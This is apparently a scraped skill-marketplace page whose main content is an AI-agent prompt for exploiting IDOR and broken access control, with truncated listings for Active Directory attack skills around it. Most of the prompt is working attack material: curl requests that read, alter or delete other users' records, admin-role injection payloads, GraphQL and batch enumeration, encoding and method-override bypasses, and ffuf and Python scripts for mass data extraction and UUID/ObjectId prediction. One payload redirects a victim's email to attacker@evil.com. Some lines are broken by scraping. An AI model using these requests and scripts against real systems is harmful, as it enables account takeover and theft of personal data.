You are helping a penetration tester exploit misconfigured Active Directory
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester exploit Insecure Direct Object Reference
インストールする前に、エージェントに与えられる指示の中身を確認できます。
You are helping a penetration tester exploit Insecure Direct Object Reference and broken access control vulnerabilities. The target application uses user-controllable identifiers (IDs, UUIDs, filenames, etc.) to reference objects without properly verifying the requesting user's authorization. The goal is to access, modify, or delete objects belonging to other users, or escalate privileges. All testing is under explicit written authorization.
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
[idor] Activated → <target> to the screen on activation.engagement/evidence/ with
descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
Your return summary must include:
If not already provided, determine:
| Format | Example | Predictability |
|---|---|---|
| Sequential integer | 123, 456 | Trivially enumerable |
| UUID v1 | 95f6e264-bb00-11ec-8833-00155d01ef00 | Timestamp + machine — partially predictable |
| UUID v4 | 550e8400-e29b-41d4-a716-446655440000 | Random — not enumerable without leak |
| MongoDB ObjectId | 5ae9b90a2c144b9def01ec37 | Timestamp + counter — predictable if you know creation time |
| Base64-encoded | MTIz (decodes to 123) | Decode first, then assess inner format |
| Hash (MD5/SHA1) | 098f6bcd4621d373cade4e832627b4f6 | Predictable if input is known (e.g., MD5 of username) |
| Slug | john-doe, my-post-title | Guessable with wordlists |
Injection point — where does the ID appear?
/api/users/123/profile/api/profile?user_id=123{"user_id": 123}X-User-Id: 123user=123Authorization mechanism — session cookie, JWT, OAuth token, API key?
API type — REST, GraphQL, gRPC-Web, SOAP?
Test whether User A can access User B's objects (same privilege level).
# Get your own resource (baseline — note response structure)
curl -s -H "Cookie: session=YOUR_SESSION" \
"https://TARGET/api/users/YOUR_ID/profile"
# Try another user's ID (change ONLY the ID, keep your auth)
curl -s -H "Cookie: session=YOUR_SESSION" \
"https://TARGET/api/users/OTHER_ID/profile"
Compare responses:
# Test IDs around your own
# If your ID is 1337, try 1336, 1338, 1, 2, etc.
for id in 1336 1338 1 2 100 1000; do
echo -n "ID $id: "
curl -s -o /dev/null -w "%{http_code}" \
-H "Cookie: session=YOUR_SESSION" \
"https://TARGET/api/users/$id/profile"
echo
done
# The GET might be protected but PUT/DELETE might not be
for method in GET POST PUT PATCH DELETE; do
echo -n "$method: "
curl -s -o /dev/null -w "%{http_code}" -X $method \
-H "Cookie: session=YOUR_SESSION" \
"https://TARGET/api/users/OTHER_ID/profile"
echo
done
# Try modifying another user's data
curl -s -X PUT -H "Cookie: session=YOUR_SESSION" \
-H "Content-Type: application/json" \
-d '{"email": "attacker@evil.com"}' \
"https://TARGET/api/users/OTHER_ID/profile"
# Try deleting another user's resource
curl -s -X DELETE -H "Cookie: session=YOUR_SESSION" \
"https://TARGET/api/users/OTHER_ID/documents/456"
Test whether a low-privilege user can access admin or higher-privilege functionality.
# If the API returns a role field, try including it in an update request
curl -s -X PUT -H "Cookie: session=LOW_PRIV_SESSION" \
-H "Content-Type: application/json" \
-d '{"role": "admin"}' \
"https://TARGET/api/users/YOUR_ID/profile"
# Variants
-d '{"is_admin": true}'
-d '{"role_id": 1}'
-d '{"permissions": ["admin", "write", "delete"]}'
-d '{"group": "administrators"}'
# Try accessing admin endpoints with a regular user session
curl -s -H "Cookie: session=LOW_PRIV_SESSION" \
"https://TARGET/api/admin/users"
curl -s -H "Cookie: session=LOW_PRIV_SESSION" \
"https://TARGET/api/admin/dashboard"
curl -s -H "Cookie: session=LOW_PRIV_SESSION" \
"https://TARGET/api/internal/config"
# Try alternate API versions (often less secure)
curl -s -H "Cookie: session=LOW_PRIV_SESSION" \
"https://TARGET/api/v1/admin/users"
curl -s -H "Cookie: session=LOW_PRIV_SESSION" \
"https://TARGET/api/mobile/admin/users"
# Actions restricted in UI but not in API
# Export all users (admin function)
curl -s -H "Cookie: session=LOW_PRIV_SESSION" \
"https://TARGET/api/users/export?format=csv"
# Approve/reject actions
curl -s -X POST -H "Cookie: session=LOW_PRIV_SESSION" \
-H "Content-Type: application/json" \
-d '{"status": "approved"}' \
"https://TARGET/api/requests/789/approve"
# Query another user's data by ID
query {
user(id: "OTHER_ID") {
name
email
phone
ssn
}
}
# Use aliases to enumerate multiple IDs in one request (bypasses rate limiting)
query {
u1: user(id: "1") { email }
u2: user(id: "2") { email }
u3: user(id: "3") { email }
u4: user(id: "4") { email }
u5: user(id: "5") { email }
}
# Discover queryable types via introspection
query {
__schema {
queryType {
fields {
name
args { name type { name kind } }
}
}
}
}
Batch endpoints often bypass per-object authorization checks:
# Single request for multiple objects
curl -s -X POST -H "Cookie: session=YOUR_SESSION" \
-H "Content-Type: application/json" \
-d '[
{"method": "GET", "path": "/api/users/1"},
{"method": "GET", "path": "/api/users/2"},
{"method": "GET", "path": "/api/users/3"}
]' \
"https://TARGET/api/batch"
# Bulk export (if it exists)
curl -s -H "Cookie: session=YOUR_SESSION" \
"https://TARGET/api/users?ids=1,2,3,4,5"
# Direct file reference
curl -s -H "Cookie: session=YOUR_SESSION" \
"https://TARGET/download?file_id=OTHER_FILE_ID"
# Path-based file reference
curl -s -H "Cookie: session=YOUR_SESSION" \
"https://TARGET/files/OTHER_USER/document.pdf"
# Signed URL with weak signature
curl -s "https://TARGET/files/document.pdf?token=WEAK_TOKEN&user=OTHER_ID"
When basic parameter tampering fails, try these bypasses.
# Base64-encoded ID
echo -n "OTHER_ID" | base64
# Use the encoded value: /api/users/T1RIRVJfSUQ=
# URL encoding
/api/users/%31%32%33 # URL-encoded "123"
# Double URL encoding
/api/users/%2531%2532%2533
# Unicode normalization (email-based IDs)
# victim@gmail.com -> v%C3%ADctim@gmail.com (may normalize to same)
# Hex encoding
/api/users/0x7b # hex for 123
# Padded values
/api/users/00123
/api/users/123.0
/api/users/123%00
# Original: {"id": 123}
# Try array:
{"id": [123]}
# Try string instead of int:
{"id": "123"}
# Try nested object:
{"id": {"$eq": 123}}
# Try XML if JSON fails:
curl -s -X POST -H "Content-Type: application/xml" \
-d '<request><id>OTHER_ID</id></request>' \
"https://TARGET/api/resource"
# Duplicate parameter (framework-dependent — some take first, some take last)
/api/resource?user_id=YOUR_ID&user_id=OTHER_ID
# Parameter in URL + body
GET /api/resource?user_id=YOUR_ID
POST body: user_id=OTHER_ID
# Parameter in different formats
/api/resource?user_id=YOUR_ID&user_id[]=OTHER_ID
# X-HTTP-Method-Override
curl -s -X POST -H "X-HTTP-Method-Override: PUT" \
-H "Cookie: session=YOUR_SESSION" \
-d '{"role": "admin"}' \
"https://TARGET/api/users/YOUR_ID"
# Other override headers
-H "X-Method-Override: DELETE"
-H "X-Original-Method: PATCH"
# Some APIs accept wildcards
curl -s -H "Cookie: session=YOUR_SESSION" \
"https://TARGET/api/users/*/profile"
curl -s "https://TARGET/api/users?id=*"
curl -s "https://TARGET/api/files?name=*.pdf"
Once IDOR is confirmed, automate data extraction.
# Enumerate user profiles (sequential integer IDs)
ffuf -u "https://TARGET/api/users/FUZZ/profile" \
-H "Cookie: session=YOUR_SESSION" \
-w <(seq 1 10000) \
-mc 200 \
-o idor-enum.json
# Filter by response size to remove empty/error responses
ffuf -u "https://TARGET/api/users/FUZZ/profile" \
-H "Cookie: session=YOUR_SESSION" \
-w <(seq 1 10000) \
-mc 200 -fs 0 \
-rate 50
import requests
import json
import time
url = "https://TARGET/api/users/{}/profile"
cookies = {"session": "YOUR_SESSION"}
results = []
for uid in range(1, 10001):
r = requests.get(url.format(uid), cookies=cookies)
if r.status_code == 200:
data = r.json()
results.append(data)
print(f"[+] ID {uid}: {data.get('email', 'no email')}")
time.sleep(0.1) # rate limiting
with open("idor-dump.json", "w") as f:
json.dump(results, f, indent=2)
print(f"[*] Extracted {len(results)} records")
If UUIDs are v1 (timestamp-based), predict nearby IDs:
import uuid
from datetime import datetime, timedelta
# Known UUID v1
known = uuid.UUID("95f6e264-bb00-11ec-8833-00155d01ef00")
# Extract timestamp and node
ts = known.time # 100-nanosecond intervals since Oct 15, 1582
node = known.node
clock_seq = known.clock_seq
# Generate UUIDs for nearby timestamps (±1 hour in 1-second increments)
for delta in range(-3600, 3601):
new_time = ts + (delta * 10_000_000) # convert seconds to 100ns intervals
candidate = uuid.UUID(fields=(
new_time & 0xFFFFFFFF, # time_low
(new_time >> 32) & 0xFFFF, # time_mid
(new_time >> 48) & 0x0FFF | 0x1000, # time_hi_version (v1)
clock_seq >> 8,
clock_seq & 0xFF,
node
))
print(candidate)
import struct
import time
# Known ObjectId: 5ae9b90a2c144b9def01ec37
known_hex = "5ae9b90a2c144b9def01ec37"
ts = int(known_hex[:8], 16) # first 4 bytes = unix timestamp
machine_pid = known_hex[8:18] # next 5 bytes = machine + PID
counter = int(known_hex[18:], 16) # last 3 bytes = counter
# Generate nearby ObjectIds (same second, increment counter)
for i in range(-100, 101):
new_counter = (counter + i) & 0xFFFFFF
candidate = f"{ts:08x}{machine_pid}{new_counter:06x}"
print(candidate)
After confirming IDOR:
Report in your return summary: any new credentials, access, vulns, or pivot paths discovered.
When routing, pass along: confirmed IDOR endpoint, ID format, working bypass technique, and scope of exposed data.
-rate 50 in ffuf, time.sleep() in scripts)The server uses the session/token to determine the user, ignoring the ID parameter entirely. This is actually secure design. Try:
Access control is enforced per-object. Try:
X-HTTP-Method-Override)/v1/ vs /v2/ vs /mobile/)null UUID: 00000000-0000-0000-0000-000000000000-rate 10 in ffuf)まだレビューはありません。使ってみた感想をお寄せください。
概要と使いどころ
You are helping a penetration tester exploit misconfigured Active Directory
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester enumerate an Active Directory domain and
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester establish persistent access in Active
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester exploit ADCS through template/CA access
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester establish persistence through AD CS
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester exploit misconfigured AD CS certificate
日本語の概要は準備中です。原文の説明を表示しています。